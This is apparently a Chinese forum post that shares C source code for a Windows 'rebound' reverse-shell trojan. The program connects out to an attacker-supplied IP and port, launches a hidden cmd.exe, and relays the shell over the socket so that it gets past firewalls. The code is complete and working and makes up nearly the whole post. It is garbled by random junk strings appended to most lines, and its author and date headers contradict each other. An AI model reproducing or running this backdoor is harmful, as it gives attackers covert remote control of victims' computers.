这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Y3>\;W*?
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/* ============================== WEAXqDjM
Rebound port in Windows NT +Ob#3PRy
By wind,2006/7 *wcoDQ b;
===============================*/ 4+,Z'J%\[7
#include T]-~?;Jh8
#include Fg_s'G,`
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#pragma comment(lib,"wsock32.lib") w[YbL2p
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void OutputShell();
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SOCKET sClient; 4LJ}>e
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; X{9o8
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void main(int argc,char **argv) tta0sJ8i
{ tdF[2@?+
WSADATA stWsaData; aZ`agsofk
int nRet; ;@~*z4U
SOCKADDR_IN stSaiClient,stSaiServer; I]1Hi?A2
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if(argc != 3) 5V8C+k)
{ j88sE MZ
printf("Useage:\n\rRebound DestIP DestPort\n"); Fxx2vTV4ag
return;
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} B?Sfcq-
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WSAStartup(MAKEWORD(2,2),&stWsaData); F@roQQu
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^|(4j_.(e
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stSaiClient.sin_family = AF_INET; ;XQ lj?:
stSaiClient.sin_port = htons(0); KXCmCn
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Q9tE^d+%
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ;o459L>sW
{ w1(06A}/
printf("Bind Socket Failed!\n"); i9U_r._qj;
return; G<6grd5PP
} Go7hDmu
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stSaiServer.sin_family = AF_INET; ATp 6-
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 4 xzJql
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Al=? j#J6p
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) X`QW(rq
{ o
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printf("Connect Error!"); \+Ln~\Sv
return; ]Ja8i%LjOG
} e4%*I8
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OutputShell(); e`M]ZGrr
} H<7DcwXv
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void OutputShell() ruA+1-<f
{ |
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char szBuff[1024]; bRz^=
SECURITY_ATTRIBUTES stSecurityAttributes; RXS| -_$
OSVERSIONINFO stOsversionInfo; sxwW9_C
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; }Rxg E~F
STARTUPINFO stStartupInfo; "`*a)'.'^c
char *szShell; yXo0z_ G
PROCESS_INFORMATION stProcessInformation;
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unsigned long lBytesRead; C;:L~)C@t
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); i)PV{3v$J
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ;=\5$J9
stSecurityAttributes.lpSecurityDescriptor = 0; pQ^,. [[
stSecurityAttributes.bInheritHandle = TRUE; vcJb\LW
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 39aCwhh7v
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); C2=iZ`Z>T
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 3kqV_Pjg
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xZ=FH>Y6'
stStartupInfo.wShowWindow = SW_HIDE; 8w8I:*
stStartupInfo.hStdInput = hReadPipe; Fxth>O`$
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; j[J@tM#
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GetVersionEx(&stOsversionInfo); cm 9oG
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switch(stOsversionInfo.dwPlatformId) P[GX}~_k
{ G1;'nwf}
case 1: ) UDJ[pL@
szShell = "command.com"; avt>saR
break; ~{,vg4L
default: <_a70"i
szShell = "cmd.exe"; fqk Dk
break; h?3,B0G
} Lr?4Y
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); eMl]td rI
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send(sClient,szMsg,77,0); y.*=Ww+
while(1) cv*Q]F1%
{ jFNs=D&(
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); '0_j{ig
if(lBytesRead) -Mi}yi
{ Op/79]$
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); H(NT|
send(sClient,szBuff,lBytesRead,0); 5hH6G
} AXh3LA
else L740s[,`o#
{ 0fPHh>u
lBytesRead=recv(sClient,szBuff,1024,0); ,8=`*
if(lBytesRead<=0) break; $v'Y:
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0);
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} f*T)*R_
} Y(
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return; 5h|m4)$
}